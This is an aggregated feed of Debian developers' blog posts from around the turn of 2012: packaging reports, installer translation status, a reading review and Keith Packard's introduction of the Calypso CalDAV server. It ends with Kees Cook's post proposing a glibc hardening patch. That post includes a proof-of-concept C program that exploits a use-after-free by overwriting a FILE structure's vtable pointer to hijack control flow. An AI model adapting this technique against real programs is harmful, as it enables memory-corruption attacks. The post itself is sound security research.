is great since the Flash-based file uploader is nicer than the one using the browser s file field. Quilt 0.50 came out after 2 years of (slow) development. The Debian package has many patches and several of them had to be updated to cope with the new upstream release. Fortunately some of them were also merged upstream. It still took an entire morning to complete this update. I also converted the packaging from CDBS to dh with a short rules file. Zim 0.54 came out and I immediately updated the package since it fixed a bug that was annoying me. Review of the ledgersmb packaging As the sql-ledger maintainer (and a user of this software for my accounting), I have been hoping to get ledgersmb packaged as a possible replacement for it. I have been following the various efforts initiated over time but none of them resulted in a real package in Debian. This is a real pity so I tried to fix this by offering to sponsor package uploads. That s why I did a first review of the packaging. It took several hours because you have to explain everything that s not good enough. I also filed a wishlist bug against lintian (#652963) to suggest that lintian should detect improper usage of dpkg-statoverride (this is a mistake that was present in the package that I reviewed). nautilus-dropbox work I wanted to polish the package in time for the Ubuntu LTS release and since Debian Import Freeze is in January, I implemented some of the important fixes that I wanted. The Debian package diverges from upstream in that the non-free binaries are installed in /var/lib/dropbox/ instead of $HOME.
Due to a bug, the files were not properly root-owned so I first fixed this (unpacking the tarball as root lead to reuse of the embedded user & group information, and those information changed recently on the Dropbox side apparently). Then we recently identified other problems related to proxy handling (see #651065). I fixed this too because it s relatively frequent that the initial download triggered during the package configuration fails and in that case it s the user that will re-trigger a package download after having given the appropriate credentials through PackageKit. Without my fix, usage of pkexec would imply the loss of the http_proxy environment variable and thus it would not be possible for a user to download through a proxy. Last but not least I reorganized the Debian specific patches to better separate what can and should be merged upstream, from the changes that upstream doesn t want. Unfortunately Dropbox insists on being able to auto-update their non-free binaries, they are, thus, against the installation under /var/lib/dropbox and the corresponding changes. Book update We re making decent progress in the translation of the Debian Administrator s Handbook, about 6 chapters are already translated (not yet reviewed though). The liberation campaign is also (slowly) going forward. We re at 67% now (thanks to 90 new supporters!) while we were only at 60% at the start of December. Thanks See you next month for a new summary of my activities.

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2 January 2012

Christian Perrier: 2012 update 2 for Debian Installer localization

Happy new year, translators. A very important and critical fix to partman-zfs broke a string in sublevel 4. Complete languages count is thus down to zero. Hurray. Status for D-I level 1 (core D-I files): Status for D-I level 2 (packages that have localized material that may appear during default installs, such as iso-codes, tasksel, etc.): Status for D-I level 3 (packages that have localized material that may appear during non-default installs, such as win32-loader) No language is currently fully complete

1 January 2012

Russ Allbery: 2011 Book Reading in Review

For the year of 2011, I finished and reviewed 60 books. This is a huge milestone for me; it's the first time since the second year I started doing this that the number of books I read actually increased. This gives me more confidence that I've stabilized the year-by-year decline in my reading. I did that while substantially increasing the amount of time I spent enjoying video games, which was another major goal of the year. Only two books received a 10 out of 10 this year, one fiction and one non-fiction. The novel was Jo Walton's Among Others: the best book I read this year. It's a delightful look at the process of finding a place for oneself in the world and features one of the best protagonists that I've seen. The non-fiction book was Rory Stewart's The Prince of the Marshes, which means that both of Stewart's books that I've read have received 10 ratings. The Prince of the Marshes is his look at his time spent in the provisional government of Iraq after the overthrow of Saddam Hussein. I think it should be required reading for anyone expressing an opinion on what the US and other western powers should or should not have done in Iraq. It lays bare the difficulties, confusion, and frequent stupidity of going into someone else's country and trying to fix it, and I think seriously calls into question whether this sort of international intervention can ever work. Other fiction highlights of the year were Kelley Eskridge's Solitaire, a startling and deep look at identity and social connection, and Mira Grant's Feed, a zombie apocalypse story that completely overcame my deep dislike of zombie apocalypse stories. Feed should have won the Hugo in 2011, despite some unbelievable politics and a bit too much cheering for bloggers. This was the year for excellent protagonists, with all three of my top-rated fiction books featuring unique and memorable characters who left a deep and lasting emotional impact. The two other non-fiction standouts were both a bit dry, but if you have the patience and attention, they reward persistance. Richard Hofstadter's Anti-Intellectualism in American Life is a deserved classic that gave me an eye-opening perspective on the long history of interactions between intellectualism and populism in US politics and culture. David Levering Lewis's God's Crucible is a wonderful history of Islam as it related to Europe and filled in some large gaps in my knowledge of world and religious history. 60 books a year, or five books a month, feels like a comfortable and sustainable level, although I'm going to keep my formal goal at a book a week (52 in the year) to give myself some leeway to either get distracted by video games or by other projects. My reading did concentrate more than usual in science fiction and fantasy this year, and I'd like to add more mainstream fiction and more non-fiction. The full analysis includes some additional personal reading statistics, probably only of interest to me.

Christian Perrier: New update about Debian Installer localization

Status for D-I level 1 (core D-I files): Status for D-I level 2 (packages that have localized material that may appear during default installs, such as iso-codes, tasksel, etc.): Status for D-I level 3 (packages that have localized material that may appear during non-default installs, such as win32-loader) So, full 100% completeness (hall of fame) for: Czech, German, Persian, French, Kazakh, Dutch, Portuguese, Russian, Slovak, Ukrainian

25 December 2011

Gregor Herrmann: RC bugs 2011/51

thanks to my vacations starting I had a bit more time this week for working on RC bugs. here's the usual list; again: thanks to all the restless patch providers!

23 December 2011

Keith Packard: calypso

Calypso CalDAV/CardDAV/WebDAV for Android and Evolution Ever since I bought my first Palm Pilot in 1997, I ve relied upon a pocket-able device to carry a copy of my calendar and contacts, and for that same database to be present on my laptop. I went through a long list of Palm-compatible devices, including both the Palm Treo and Palm Centro telephones. I even wrote a number of my own Palm applications. Years ago, it was pretty obvious that I d have to find a new phone, but I was stuck looking for something that could provide the same hot-sync functionality. SyncML on the Series 40 I bought a Series 40 Nokia phone in Shanghai that promised SyncML support. Given that I had seen numerous SyncML implementations for Linux, it seemed like I should be able to get something to work. SyncML on the Series 40 is a disaster the phone couldn t actually store all of my contacts, and it couldn t hold half of the data fields I used. So, that phone landed in the box and back to the Centro I went. SyncML on the N900 Nokia kindly sent me an N900 at some point, so I gave SyncML another try. Given that the N900 runs evolution-data-server, and that I ve had evolution-data-server running on my laptop, it seemed like I should be in business. Well, almost. It took several days of hacking to fix bugs in the evolution SyncML back end, then another several days fussing with opensync. I ended up abandoning direct synchronization as unworkable opensync would sit in an infinite loop, or worse, trash my database completely. I finally found syncml-ds-tool , which is a debugging tool that comes with opensync. This tool simply synchronizes a set of disk files, one per contact or calendar entry, with the phone. That worked for well over a year. And then, a few months ago, Bluetooth on the laptop stopped connecting with the phone s SyncML server. I d get ECONNREFUSED every time I tried to use it. So much for the N900. DUN still worked, mostly, although it too would get ECONNREFUSED at times, but retrying seemed to make it work. However, While the N900 SyncML solution worked, I discovered another thing I wanted contacts and calendar entries stored in individual files and revision controlled with git. This makes it reasonable to delete stale calendar entries and know that they re never really gone, just left behind in an older version of the calendar. And, if you mess up, you can recover by poking at the database with git directly. I switched back to the venerable Palm Centro; it turns out that calendar and contacts are more important to me than being able to surf the web on my phone. Alas, my Centro went swimming in August and has passed on to the great electronics recycling house in the sky. I pulled the SIM out and switched back to the N900. I got my contacts imported on the N900 by copying files over the net work; not a long-term strategy, but at least I had phone numbers again. There was no hope for my calendar. I started looking for a solution in earnest. How about Android? At this point in my story, I m sure you re asking why I didn t just use one of the numerous Android phones that came through my hands. The answer is simple my calendar and contacts are probably some of my most personal data, and I m not willing to store them outside of my direct control, for reasons similar to those which are driving the development of the FreedomBox. When Android first came out, it could only talk to Google services, which didn t meet my hard requirement for personal data storage. One of my co-workers had his Google account suspended for violating the terms-of-service; he asked what he had done, but they wouldn t say. He asked if he could get his data back, and they said no . They invited him to create a new account, but it would not ever get any of the old data. A few days later, he got a nice apologetic email letting him know that they d made a mistake and that he hadn t, in fact, violated any of the terms-of-service, and that his old account was restored with all of his data intact. Wasn t that nice of Google? WebOS? I got a WebOS phone over the summer and discovered that while it had multiple contact/calendar back ends, none of them used standard protocols and so you only had the choice between multiple corporate data centers, which isn t actually a choice at all. Furthermore, the WebOS phone refused route PAN packets over the phone network, even though I have a data plan which allows this. It s not that it couldn t support it, it s that it refused. A couple of weeks after the WebOS phone arrived, HP canceled all of their WebOS hardware products, which made me less interested in trying to solve this problem. Android recovers About the same time the WebOS phone arrived, I discovered that Google had published enough information about the calendar/contacts internals for Marten Gajda to write CalDAV-Sync and CardDAV-Sync. And then, Andrew McMillan wrote aCal, which is a complete replacement for the built-in calendar and contacts applications and supports CalDAV and CardDAV. With two different standards-compliant solutions available, it seemed like it might be time to try Android again. I d love for CardDAV-Sync and CalDAV-Sync to become free software like aCal is. Andrew makes money from aCal by offering it for sale via the Android Market, while still publishing the sources for those who want to build their own copy. CalDAV/CardDAV on Linux I think the most widely known CalDAV server for Linux is probably DAViCal, a huge pile of PHP and SQL sitting on top of Apache. I m sure it s suitable for running on a server and being accessed over the internet, but I m not interested in that, nor am I interested in having my laptop run Apache and PostgreSQL. I found a tiny little CalDAV server, Radicale, which seemed like a lot better fit. It s written in Python and uses the usual Python HTTP server infrastructure, which provides SSL and authentication support along with some fairly convenient APIs for parsing and generating HTML. Before long, I discovered that Radicale was actually too simple for my needs. It stores the whole calendar in a single file, re-parsing it whenever a request is made, so a calendar with just hundreds of entries caused the server to slow down enough that evolution would time-out when talking to it. Also, Radicale doesn t actually parse the calendar entries completely, it has some ad-hoc code that finds various pieces of data, but without dealing with the whole syntax. I started hacking at Radicale to see how far I could get. I changed the storage code to store one event per file, then added hooks to use git for change management. Then, I found a full vcalendar/vcard parsing library in python, vobject, which I used to replace the ad-hoc parsing code. Finally, I added support for VCARD entries as well, allowing the system to store both calendar and contact information. Introducing Calypso, a CardDAV/CalDAV server With this much divergence from the original project, I ve figured I d best rename things to avoid confusion, so I decided to call it calypso , after a brief trip through the dictionary looking for names starting with ca . Calypso works with evolution, iceowl and the Android CalDAV/CardDAV plugins. It does not yet work with aCal; for some reason aCal cannot find any calendars on the server. Calypso also supports importing calendar changes from the command line, allowing you to integrate support into a text-based email application like notmuch or mutt. Calypso is available via git from git://keithp.com/git/calypso and is distributed under the GPL (v3 or later). I still consider it a work derived from Radicale, and so the code retains all of the Radicale copyrights along with my own. Using Calypso Initial setup Calypso runs as a regular user, all data are stored in ~/.config/calypso. To initialize calypso: 
$ mkdir ~/.config/calypso ~/.config/calypso/calendars
$ cat > ~/.config/calypso/config << EOF
[server]
ssl=true
certificate=/home/keithp/.config/calypso/ssl/server.crt
key=/home/keithp/.config/calypso/ssl/server.key
[acl]
;type=htpasswd
type=fake
filename=/home/keithp/.config/calypso/passwd
Running calypso Then run calypso: 
$ python ./calypso.py
No, I haven t figured out how to install it Creating new calendars To add a new database: 
$ mkdir -p ~/.config/calypso/calendars/private/my_calendar
$ cd ~/.config/calypso/calendars/private/my_calendar
$ git init
$ git commit --allow-empty -m'initialize new calendar'
The new calendar should now be visible as https://localhost:5233/private/my_calendar You can add files to the directory at any time; calypso will check the directory mtime at each operation and update its internal state from that on disk automatically when the directory changes. Importing files Given a set of files with VCALENDAR or VCARD entries, you can import them with: 
$ calypso --import private/my_calendar <filenames...>
This will update any changed entries and add any new ones. ToDo list for calypso
  1. Document the config file contents.
  2. Make it installable
  3. Figure out what aCal wants
  4. Support calendar creation
More Android info I m running cyanogenmod on my Nexus S as that provides PAN support. With PAN, I can create a network link between laptop and phone which doesn t depend on any local WiFi infrastructure and which gives both phone and laptop static IP addresses, allowing me to configure the sync URLs statically on the phone. I d use mDNS, but Android doesn t bother to support that.

Christian Perrier: New update about Debian Installer localization

(last update for 2011) Status for D-I level 1 (core D-I files): Status for D-I level 2 (packages that have localized material that may appear during default installs, such as iso-codes, tasksel, etc.): Status for D-I level 3 (packages that have localized material that may appear during non-default installs, such as win32-loader) So, full 100% completeness (hall of fame) for: Czech, Dutch, German, Persian, French, Portuguese, Russian, Slovak

Kees Cook: abusing the FILE structure

When attacking a process, one interesting target on the heap is the FILE structure used with stream functions (fopen(), fread(), fclose(), etc) in glibc. Most of the FILE structure (struct _IO_FILE internally) is pointers to the various memory buffers used for the stream, flags, etc. What s interesting is that this isn t actually the entire structure. When a new FILE structure is allocated and its pointer returned from fopen(), glibc has actually allocated an internal structure called struct _IO_FILE_plus, which contains struct _IO_FILE and a pointer to struct _IO_jump_t, which in turn contains a list of pointers for all the functions attached to the FILE. This is its vtable, which, just like C++ vtables, is used whenever any stream function is called with the FILE. So on the heap, we have: glibc FILE vtable location In the face of use-after-free, heap overflows, or arbitrary memory write vulnerabilities, this vtable pointer is an interesting target, and, much like the pointers found in setjmp()/longjmp(), atexit(), etc, could be used to gain control of execution flow in a program. Some time ago, glibc introduced PTR_MANGLE/PTR_DEMANGLE to protect these latter functions, but until now hasn t protected the FILE structure in the same way. I m hoping to change this, and have introduced a patch to use PTR_MANGLE on the vtable pointer. Hopefully I haven t overlooked something, since I d really like to see this get in. FILE structure usage is a fair bit more common than setjmp() and atexit() usage. :) Here s a quick exploit demonstration in a trivial use-after-free scenario: 
#include <stdio.h>
#include <stdlib.h>
void pwn(void)
 
    printf("Dave, my mind is going.\n");
    fflush(stdout);
 
void * funcs[] =  
    NULL, // "extra word"
    NULL, // DUMMY
    exit, // finish
    NULL, // overflow
    NULL, // underflow
    NULL, // uflow
    NULL, // pbackfail
    NULL, // xsputn
    NULL, // xsgetn
    NULL, // seekoff
    NULL, // seekpos
    NULL, // setbuf
    NULL, // sync
    NULL, // doallocate
    NULL, // read
    NULL, // write
    NULL, // seek
    pwn,  // close
    NULL, // stat
    NULL, // showmanyc
    NULL, // imbue
 ;
int main(int argc, char * argv[])
 
    FILE *fp;
    unsigned char *str;
    printf("sizeof(FILE): 0x%x\n", sizeof(FILE));
    /* Allocate and free enough for a FILE plus a pointer. */
    str = malloc(sizeof(FILE) + sizeof(void *));
    printf("freeing %p\n", str);
    free(str);
    /* Open a file, observe it ended up at previous location. */
    if (!(fp = fopen("/dev/null", "r")))  
        perror("fopen");
        return 1;
     
    printf("FILE got %p\n", fp);
    printf("_IO_jump_t @ %p is 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
    /* Overwrite vtable pointer. */
    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
    printf("_IO_jump_t @ %p now 0x%08lx\n",
           str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
    /* Trigger call to pwn(). */
    fclose(fp);
    return 0;
Before the patch: 
$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0xf7796aa0
_IO_jump_t @ 0x984609c now 0x0804a060
Dave, my mind is going.
After the patch: 
$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0x3a4125f8
_IO_jump_t @ 0x984609c now 0x0804a060
Segmentation fault
Astute readers will note that this demonstration takes advantage of another characteristic of glibc, which is that its malloc system is unrandomized, allowing an attacker to be able to determine where various structures will end up in the heap relative to each other. I d like to see this fixed too, but it ll require more time to study. :)

2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

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